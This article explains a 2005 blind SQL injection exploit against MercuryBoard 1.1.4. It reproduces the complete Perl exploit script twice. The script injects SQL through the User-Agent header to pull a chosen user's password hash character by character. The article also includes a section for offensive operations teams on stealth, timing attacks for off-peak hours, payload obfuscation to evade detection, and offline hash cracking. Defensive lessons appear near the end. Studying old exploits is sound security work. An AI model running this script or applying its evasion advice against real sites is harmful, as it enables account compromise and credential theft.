MercuryBoard 1.1.4 SQL Injection Exploit Explained

MercuryBoard 1.1.4 SQL Injection Exploit Explained
What this paper is
This paper details a SQL injection vulnerability in MercuryBoard version 1.1.4, specifically when used with MySQL version 4.1. The exploit, coded by 1dt.w0lf from RST/GHC, leverages this vulnerability to extract a user's password hash. It's important to note that this exploit targets older software and is presented for educational purposes related to historical vulnerabilities.
Simple technical breakdown
The core of the exploit is a SQL injection attack. The MercuryBoard application, when handling user requests, doesn't properly sanitize input. This allows an attacker to inject malicious SQL code into a query.
The exploit works by:
- Targeting a specific user ID: The attacker needs to know the
user_idof the victim they want to extract the password for. - Using a registered account: The attacker must have their own registered account on the forum, identified by a
hacker_idandhacker_login. This is crucial for crafting the malicious SQL query. - Injecting SQL for password extraction: The exploit crafts a URL request that includes specially formatted SQL code within a parameter. This injected SQL code manipulates the database query to reveal information character by character.
- Blind SQL Injection: It's a form of blind SQL injection. Instead of directly seeing the database output, the exploit infers information by observing the application's response. It checks if a condition within the injected SQL is true or false.
- Character-by-character retrieval: The exploit iteratively guesses characters of the password hash. It uses SQL's
ascii()andsubstring()functions to extract the ASCII value of each character at a specific position and then converts it back to a character. - Brute-forcing characters: The exploit uses a binary search-like approach (
BETWEEN) and then a linear scan (=) to find the correct ASCII value for each character of the password hash.
Complete code and payload walkthrough
The provided Perl script r57mercury.pl (though the paper refers to it as exploit-db.com/papers/1058) implements the SQL injection.
#!/usr/bin/perl
### MercuryBoard <=1.1.4, MySQL => 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### * note: you need first register on forum for get id and login
### after what logout from forum and run exploit
### * note2: edit timestamp in sources if exploit not work ;)
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf
### RST/GHC - http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket;
use Getopt::Std;
getopts('h:f:b:i:l:p:');
$server = $opt_h;
$path = $opt_f;
$member_id = $opt_b;
$hacker_id = $opt_i;
$hacker_l = $opt_l;
$prefix = $opt_p || 'mb_' ;
if(!$server||!$path||!$member_id||!$hacker_id||!$hacker_l) { &usage; }
$server =~ s!(http:\/\/)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] SERVER : $server\r\n";
print " [~] FORUM PATH : $path\r\n";
print " [~] ID FOR BRUTE : $member_id\r\n";
print " [~] HACKER ID : $hacker_id\r\n";
print " [~] HACKER LOGIN : $hacker_l\r\n";
print " [~] TABLE PREFIX : $prefix\r\n\r\n";
print " [~] SEARCHING PASSWORD ... [|]";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
-------------------------------------------------------------------
USER ID : $member_id
HASH : $allchar
-------------------------------------------------------------------
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$user_agent2 = "666',''),($hacker_id, 'board', 0, (SELECT/**/if((ascii(substring((SELECT/**/user_password/**/FROM/**/${prefix}users/**/WHERE/**/user_id=$member_id),$s_num,1)))$ccheck,1119336207,0)), '666.666.666.666', '666', '666')/*";
$sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $sock2 ("GET %s?a=active HTTP/1.0\nHost: %s\nUser-Agent: %s\nAccept: */*\nConnection: close\n\n",
$request,$server,$user_agent2);
while(<$sock2>)
{
#print $_;
if (/w=$hacker_id"\>$hacker_l/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
&head;
print q(
USAGE
r57mercury.pl [OPTIONS]
OPTIONS
-h [host] ~ host where mercury board installed
-f [/folder/] ~ folder where mercury board installed
-b [user_id] ~ user id for bruteforce
-i [id] ~ hacker id (hacker must be register on forum)
-l [login] ~ hacker login on forum
-p [prefix] ~ database tables prefix (optional)
default is "mb"
E.G.
r57mercury.pl -h www.blah.com -f /mercuryboard/ -b 2 -i 3 -l lamer
-------------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
-------------------------------------------------------------------
MercuryBoard <=1.1.4, MySQL => 4.1 sql injection exploit by RST/GHC
-------------------------------------------------------------------
);
}
# milw0rm.com [2005-06-21]Let's break down the key parts:
#!/usr/bin/perl: Shebang line, indicating the script should be executed with Perl.- Comments: The initial comments provide context about the vulnerability, version, author, and prerequisites.
use IO::Socket;: Imports the module for network socket operations, allowing the script to make HTTP requests.use Getopt::Std;: Imports the module for parsing command-line options.getopts('h:f:b:i:l:p:'): Parses command-line arguments.-h: Hostname of the target server.-f: Path to the MercuryBoard installation.-b:member_idof the target user whose password hash is to be retrieved.-i:hacker_idof the attacker's registered user.-l:hacker_l(login name) of the attacker's registered user.-p: Database table prefix (defaults tomb_).
- Variable assignments: The script assigns the parsed options to variables.
if(!$server||!$path||!$member_id||!$hacker_id||!$hacker_l) { &usage; }: Checks if all required arguments are provided. If not, it calls theusagesubroutine.$server =~ s!(http:\/\/)!!;: Removeshttp://from the server name if present, as the script constructs the full URL.$request = 'http://'; $request .= $server; $request .= $path;: Constructs the base URL for requests.$s_num = 1;: Initializes a counter for the character position in the password hash being retrieved.$|++;: Enables autoflush for standard output, ensuring that output is displayed immediately.$n = 0;: Initializes a counter for the status animation.&head;: Calls theheadsubroutine to print the banner.- Printing configuration: Displays the provided configuration details.
print " [~] SEARCHING PASSWORD ... [|]";: Starts the progress indicator.while(1): The main loop that continues until the password hash is found or an error occurs.if(&found(47,58)==0) { &found(96,103); }: This is the core logic for character guessing.- It first attempts to find characters within the ASCII range 47-58 (which includes '0'-'9', ':', ';', '<', '=', '>').
- If no character is found in that range, it then attempts to find characters within the ASCII range 96-103 (which includes '`', 'a'-'g'). This suggests the password hash might contain lowercase letters or symbols.
- The
&foundsubroutine performs a binary search for the correct ASCII value.
$char = $i;: Stores the found character's ASCII value.if ($char=="0") { ... } else { ... }: Checks if thefoundsubroutine returned 0, which signifies failure (no character found in the specified ranges).- If
$charis not "0" (meaning a character was found):- It prints "DONE ]" and displays the
member_idand the accumulated password hash ($allchar).
- It prints "DONE ]" and displays the
- If
$charis "0" (meaning failure):- It prints "FAILED ]".
exit();: Exits the script.
- If
else { $allchar .= chr($char); }: If a character was found, it's appended to the$allcharstring.$s_num++;: Increments the character position counter to fetch the next character.
Subroutines:
sub found($$):- Purpose: Implements a binary search to find the ASCII value of the current character in the password hash.
- Inputs:
$fmin(minimum ASCII value to check),$fmax(maximum ASCII value to check). - Behavior:
- Base Case: If the range (
$fmax - $fmin) is small (less than 5), it callscrackto do a linear scan within that small range. - Recursive Step: Calculates a middle point
$r. It constructs a SQL query fragment$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax". It then callscheckto see if the current character's ASCII value falls within the range$rto$fmax. - If
checkreturns true, it recursively callsfoundwith the upper half of the range ($r,$fmax). - If
checkreturns false, it recursively callsfoundwith the lower half of the range ($fmin,$r).
- Base Case: If the range (
- Output: Sets the global variable
$ito the found ASCII value, or 0 if no character is found.
sub crack($$):- Purpose: Performs a linear scan to find the exact ASCII value of a character within a small range.
- Inputs:
$cmin(minimum ASCII value),$cmax(maximum ASCII value). - Behavior: Iterates from
$cminto$cmax. For each value$i, it constructs a SQL check$crcheck = "=$i"and callscheck. Ifcheckreturns true, it means the current character's ASCII value is$i, and it returns$i. - Output: Returns the found ASCII value, or 0 if no character is found in the range.
sub check($):- Purpose: Sends a crafted HTTP request to the target server and checks the response for a specific pattern, indicating if the injected SQL condition is true.
- Inputs:
$ccheck(the SQL condition fragment, e.g.,BETWEEN 100 AND 120or= 97). - Behavior:
- Increments
$nand callsstatus()for animation. - Constructs the malicious
User-Agentheader:Let's break down this666',''),($hacker_id, 'board', 0, (SELECT/**/if((ascii(substring((SELECT/**/user_password/**/FROM/**/${prefix}users/**/WHERE/**/user_id=$member_id),$s_num,1)))$ccheck,1119336207,0)), '666.666.666.666', '666', '666')/*User-Agentstring as it contains the core SQL injection:666',''): This part is likely closing off previous SQL statements or data structures to allow the injection.($hacker_id, 'board', 0, ...): This appears to be part of anINSERTorUPDATEstatement, where the attacker's ID, a string 'board', and 0 are being inserted.(SELECT/**/if((ascii(substring((SELECT/**/user_password/**/FROM/**/${prefix}users/**/WHERE/**/user_id=$member_id),$s_num,1)))$ccheck,1119336207,0)): This is the crucial part.SELECT/**/user_password/**/FROM/**/${prefix}users/**/WHERE/**/user_id=$member_id: This selects the password hash for the targetmember_id.substring(..., $s_num, 1): Extracts a single character from the password hash at the position specified by$s_num(the current character being guessed).ascii(...): Gets the ASCII value of that extracted character.if(ascii(...) $ccheck, 1119336207, 0): This is the conditional logic.$ccheckis the condition being tested (e.g.,BETWEEN 100 AND 120or= 97).- If the condition is TRUE, the
ifstatement returns1119336207. - If the condition is FALSE, the
ifstatement returns0.
'666.666.666.666', '666', '666')/*: These are likely placeholder values to complete the SQL statement structure. The/*at the end comments out any remaining SQL code.
- Creates a TCP socket connection to the
$serveron port 80. - Sends a
GETrequest. The request path is$request?a=active. TheUser-Agentheader is set to the crafted malicious string. - Reads the response from the server.
if (/w=$hacker_id"\>$hacker_l/) { return 1; }: This is the check for success. If the response contains the attacker's login name ($hacker_l) preceded byw=and followed by">, it implies the injectedifstatement evaluated to true (returned1119336207), and thus the condition ($ccheck) was met.
- Increments
- Output: Returns
1if the condition is met (password character found),0otherwise.
sub status():- Purpose: Provides a simple text-based animation to show progress.
- Behavior: Prints different characters (
/,-,\,|) to the console, overwriting the previous one using\b\b(backspace).
sub usage():- Purpose: Displays the script's usage instructions and exits.
- Behavior: Prints the banner and then the detailed usage information with options and an example.
sub head():- Purpose: Prints the script's banner.
Shellcode/Payload Segment:
There is no traditional shellcode in this exploit. The "payload" is the crafted SQL injection within the HTTP User-Agent header. The goal is not to execute arbitrary code on the server directly, but to extract data (the password hash) from the database.
Mapping list:
getopts('h:f:b:i:l:p:'): Command-line argument parsing.$server,$path,$member_id,$hacker_id,$hacker_l,$prefix: Variables storing user-provided configuration.$request: Base URL for HTTP requests.$s_num: Counter for the current character position in the password hash being extracted.while(1)loop: Main execution loop for character extraction.&found(47,58)/&found(96,103): Calls to the binary search function to find the ASCII value of the current character.$char = $i;: Stores the found ASCII value.if ($char=="0") { ... } else { $allchar .= chr($char); }: Logic to either exit on failure or append the found character to the hash.$s_num++;: Increments the character position.sub found($$): Binary search logic for ASCII values.sub crack($$): Linear scan for ASCII values in small ranges.sub check($): Core function that sends the crafted HTTP request with the SQL injection.$user_agent2 = "666',''),(...)": The craftedUser-Agentstring containing the SQL injection.SELECT/**/if((ascii(substring((SELECT/**/user_password/**/FROM/**/${prefix}users/**/WHERE/**/user_id=$member_id),$s_num,1)))$ccheck,1119336207,0)): The injected SQL query fragment.if (/w=$hacker_id"\>$hacker_l/) { return 1; }: Checks the HTTP response for a success indicator.status(): Animation subroutine.usage(): Help message subroutine.head(): Banner subroutine.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server (port 80/443). No prior authentication is strictly required to initiate the attack, but the attacker needs to have registered an account on the target forum to obtain their own
hacker_idandhacker_l. - Lab Preconditions:
- A vulnerable MercuryBoard 1.1.4 installation with MySQL 4.1.
- The attacker must have a registered account on this installation.
- The attacker needs to know the
user_idof the target account. - A Perl interpreter installed on the attacker's machine.
- Tooling Assumptions:
- Perl interpreter.
- Standard Perl modules (
IO::Socket,Getopt::Std). - A web browser to register an account and find the target
user_id.
- Execution Pitfalls:
- Incorrect
user_id: If themember_idis wrong, the exploit will fail to find any password hash. - Incorrect
hacker_idorhacker_l: If the attacker's own credentials are not correctly provided, the response check (/w=$hacker_id"\>$hacker_l/) will fail, and the exploit will report failure. - Incorrect path (
-f): If the path to the MercuryBoard installation is wrong, the injected SQL might not be correctly parsed by the application, or theUser-Agentmight not be processed as expected. - Web Application Firewall (WAF): Modern WAFs would likely detect and block the SQL injection patterns in the
User-Agentheader. - Database Prefix: If the table prefix is not
mb_and not provided via-p, the SQL query will fail. - MySQL Version: The exploit is specifically for MySQL 4.1. Newer versions or different database systems would require different SQL syntax.
- Application Logic Changes: Even within version 1.1.4, minor patches or custom modifications to the application could alter how the
User-Agentis processed, breaking the exploit. - Rate Limiting/IP Blocking: Frequent requests from the attacker's IP might trigger rate limiting or IP blocking by the server or intermediate security devices.
- Character Set Issues: If the password hash contains characters outside the tested ranges (47-58 and 96-103), the exploit might fail to find them. The exploit implicitly assumes a character set that allows these ranges to be tested.
- Incorrect
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the target application and version. Confirm the presence of the
user_idand the ability to register an account. - Stealth: The
User-Agentheader is a common place for WAF bypasses, but it's also a less common place for legitimate application logic to reside. This might raise suspicion if logs are reviewed. - Timing: Running the exploit during off-peak hours might reduce the chance of immediate detection by human operators.
- Obfuscation: While the Perl script is provided, an attacker might obfuscate the
User-Agentstring further if they suspect signature-based detection. - Post-Exploitation: Once the password hash is obtained, it needs to be cracked offline using tools like Hashcat or John the Ripper.
- Reconnaissance: Thoroughly identify the target application and version. Confirm the presence of the
Where this was used and when
This exploit was published on June 21, 2005. It targets MercuryBoard version 1.1.4 and MySQL 4.1. This indicates it was relevant in the mid-2000s. Such vulnerabilities were common in web applications of that era as SQL injection was a widely understood but not always effectively mitigated threat. It's unlikely to be effective against modern, patched systems unless an organization is running very old, unmaintained software.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, regardless of the HTTP header or parameter it comes from, must be treated as untrusted. Properly sanitize or escape input before it's used in database queries. Use parameterized queries or prepared statements.
- Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common SQL injection patterns. Keep WAF rules updated.
- Least Privilege Principle: Ensure the web application's database user has only the necessary privileges. It should not be able to execute arbitrary
SELECTstatements on sensitive tables like user credentials if that's not its core function. - Regular Patching and Updates: Keep all software, including web applications, web servers, and database systems, up-to-date with the latest security patches. This exploit targets a specific, old version.
- Secure Coding Practices: Train developers on secure coding practices, including OWASP Top 10 vulnerabilities like SQL injection.
- Logging and Monitoring: Implement robust logging for web server requests and database activity. Monitor logs for suspicious patterns, such as unusual
User-Agentstrings or queries targeting user tables. - Avoid Blind SQL Injection: While this exploit is a good example of blind SQL injection, defenses should aim to prevent the injection in the first place, rather than relying on detecting the inference of data.
ASCII visual (if applicable)
This exploit's flow can be visualized as a series of network requests and conditional checks.
+-----------------+ +---------------------+ +---------------------+
| Attacker's | | Target Web Server | | Target Database |
| Machine | | (MercuryBoard App) | | (MySQL 4.1) |
+-----------------+ +---------------------+ +---------------------+
| | |
| 1. Craft HTTP Request | |
| (with injected UA) | |
|----------------------->| |
| | 2. Parse Request & UA |
| | (Inject SQL) |
| |----------------------------->|
| | | 3. Execute SQL Query
| | | (e.g., SELECT IF(ascii(substring(...)) $check, 1, 0))
| | |----------------------------->|
| | | | 4. Return Result (1 or 0)
| | |<-----------------------------|
| | 5. Analyze Response based on |
| | SQL result (check for |
| | hacker_l) |
| |----------------------------->| (Response)
|<-----------------------| |
| 6. Process Response | |
| (Append char or | |
| exit on fail) | |
| | |
| 7. Repeat for next char| |
| (Increment $s_num) | |
+------------------------+ +---------------------+Source references
- Paper ID: 1058
- Paper Title: MercuryBoard 1.1.4 - SQL Injection
- Author: RusH
- Published: 2005-06-21
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/1058
- Raw URL: https://www.exploit-db.com/raw/1058
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
### MercuryBoard <=1.1.4, MySQL => 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### * note: you need first register on forum for get id and login
### after what logout from forum and run exploit
### * note2: edit timestamp in sources if exploit not work ;)
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf
### RST/GHC - http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
use IO::Socket;
use Getopt::Std;
getopts('h:f:b:i:l:p:');
$server = $opt_h;
$path = $opt_f;
$member_id = $opt_b;
$hacker_id = $opt_i;
$hacker_l = $opt_l;
$prefix = $opt_p || 'mb_' ;
if(!$server||!$path||!$member_id||!$hacker_id||!$hacker_l) { &usage; }
$server =~ s!(http:\/\/)!!;
$request = 'http://';
$request .= $server;
$request .= $path;
$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] SERVER : $server\r\n";
print " [~] FORUM PATH : $path\r\n";
print " [~] ID FOR BRUTE : $member_id\r\n";
print " [~] HACKER ID : $hacker_id\r\n";
print " [~] HACKER LOGIN : $hacker_l\r\n";
print " [~] TABLE PREFIX : $prefix\r\n\r\n";
print " [~] SEARCHING PASSWORD ... [|]";
while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]
-------------------------------------------------------------------
USER ID : $member_id
HASH : $allchar
-------------------------------------------------------------------
};
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
}
$s_num++;
}
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}
sub check($)
{
$n++;
status();
$ccheck = $_[0];
$user_agent2 = "666',''),($hacker_id, 'board', 0, (SELECT/**/if((ascii(substring((SELECT/**/user_password/**/FROM/**/${prefix}users/**/WHERE/**/user_id=$member_id),$s_num,1)))$ccheck,1119336207,0)), '666.666.666.666', '666', '666')/*";
$sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $sock2 ("GET %s?a=active HTTP/1.0\nHost: %s\nUser-Agent: %s\nAccept: */*\nConnection: close\n\n",
$request,$server,$user_agent2);
while(<$sock2>)
{
#print $_;
if (/w=$hacker_id"\>$hacker_l/) { return 1; }
}
return 0;
}
sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}
sub usage()
{
&head;
print q(
USAGE
r57mercury.pl [OPTIONS]
OPTIONS
-h [host] ~ host where mercury board installed
-f [/folder/] ~ folder where mercury board installed
-b [user_id] ~ user id for bruteforce
-i [id] ~ hacker id (hacker must be register on forum)
-l [login] ~ hacker login on forum
-p [prefix] ~ database tables prefix (optional)
default is "mb"
E.G.
r57mercury.pl -h www.blah.com -f /mercuryboard/ -b 2 -i 3 -l lamer
-------------------------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}
sub head()
{
print q(
-------------------------------------------------------------------
MercuryBoard <=1.1.4, MySQL => 4.1 sql injection exploit by RST/GHC
-------------------------------------------------------------------
);
}
# milw0rm.com [2005-06-21]